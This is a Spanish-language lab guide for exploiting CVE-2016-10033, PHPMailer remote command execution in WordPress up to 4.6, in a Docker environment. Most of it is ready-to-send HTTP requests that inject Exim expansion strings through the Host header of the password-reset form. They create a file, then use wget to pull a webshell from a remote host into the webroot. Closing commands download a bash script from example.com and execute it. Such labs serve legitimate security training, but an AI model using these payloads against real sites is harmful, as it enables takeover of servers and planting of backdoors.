
Entorno de laboratorio basado en Docker para ejecución remota de código en WordPress <= 4.6 a través de PHPMailer (CVE-2016-10033), incluyendo PoC, carga de webshell y payloads de reverse shell.
WordPress es una plataforma de blogs desarrollada en PHP que permite a los usuarios crear su propio sitio web en servidores con soporte para PHP y bases de datos MySQL. También se puede usar WordPress como un sistema de gestión de contenidos (CMS). WordPress utiliza el componente PHPMailer para enviar correos electrónicos a los usuarios. PHPMailer (versión < 5.2.18) tiene una vulnerabilidad de ejecución remota de comandos. Un atacante solo necesita construir astutamente una dirección de correo electrónico maliciosa para escribir archivos arbitrarios, causando una ejecución remota de comandos.
WordPress <= 4.6
| Tipo | Nombre de Usuario | Contraseña |
|---|---|---|
| Mysql | root | root |
| /wp-admin/ | admin | admin123 |
$ docker pull medicean/vulapps:w_wordpress_6
$ docker run -d -p 8000:80 medicean/vulapps:w_wordpress_6
-p 8000:80el 8000 representa el puerto de la máquina física, se puede especificar arbitrariamente.
Visitar http://127.0.0.1:8000 y ver la interfaz principal de WordPress indica que el inicio fue exitoso
Suponiendo que la dirección objetivo es: http://127.0.0.1:8000/
POST /wp-login.php?action=lostpassword HTTP/1.1
Host: target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}var${substr{0}{1}{$spool_directory}}www${substr{0}{1}{$spool_directory}}html${substr{0}{1}{$spool_directory}}vuln}} null)
Connection: close
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: */*
Content-Length: 56
Content-Type: application/x-www-form-urlencoded
wp-submit=Get+New+Password&redirect_to=&user_login=admin
Ver que el código de estado de retorno es 200 significa que se ha creado exitosamente el archivo /var/www/html/vuln
Se puede visitar esa dirección antes de enviar el paquete, aparecerá un 404
Idea: Crear un archivo de texto en un servidor HTTP remoto y descargarlo a la máquina objetivo mediante wget
Si ya se puede ejecutar comandos, ¿para qué enviar un WebShell?
/usr/bin/wget --output-document /var/www/html/webshell.php raw.githubusercontent.com/medicean/vulapps/master/w/wordpress/6/webshell.php
Nota:
- En la URL remota no debe incluir
http://- Todas las letras deben estar en minúsculas
- Todos los
/deben reemplazarse con${substr{0}{1}{$spool_directory}}- Todos los espacios deben reemplazarse con
${substr{10}{1}{$tod_log}}
El mensaje es el siguiente (ajustar user_login según la situación real, por defecto es admin):
POST /wp-login.php?action=lostpassword HTTP/1.1
Host: target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}var${substr{0}{1}{$spool_directory}}www${substr{0}{1}{$spool_directory}}html${substr{0}{1}{$spool_directory}}webshell.php${substr{10}{1}{$tod_log}}raw.githubusercontent.com${substr{0}{1}{$spool_directory}}medicean${substr{0}{1}{$spool_directory}}vulapps${substr{0}{1}{$spool_directory}}master${substr{0}{1}{$spool_directory}}w${substr{0}{1}{$spool_directory}}wordpress${substr{0}{1}{$spool_directory}}6${substr{0}{1}{$spool_directory}}webshell.php}} null)
Connection: close
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: */*
Content-Length: 56
Content-Type: application/x-www-form-urlencoded
wp-submit=Get+New+Password&redirect_to=&user_login=admin
Si el contenido del archivo de texto remoto es un script bash, después de descargarlo al objetivo, se puede ejecutar directamente con /bin/bash
/usr/bin/wget --output-document /tmp/rce example.com/1.txt
/bin/bash /tmp/rce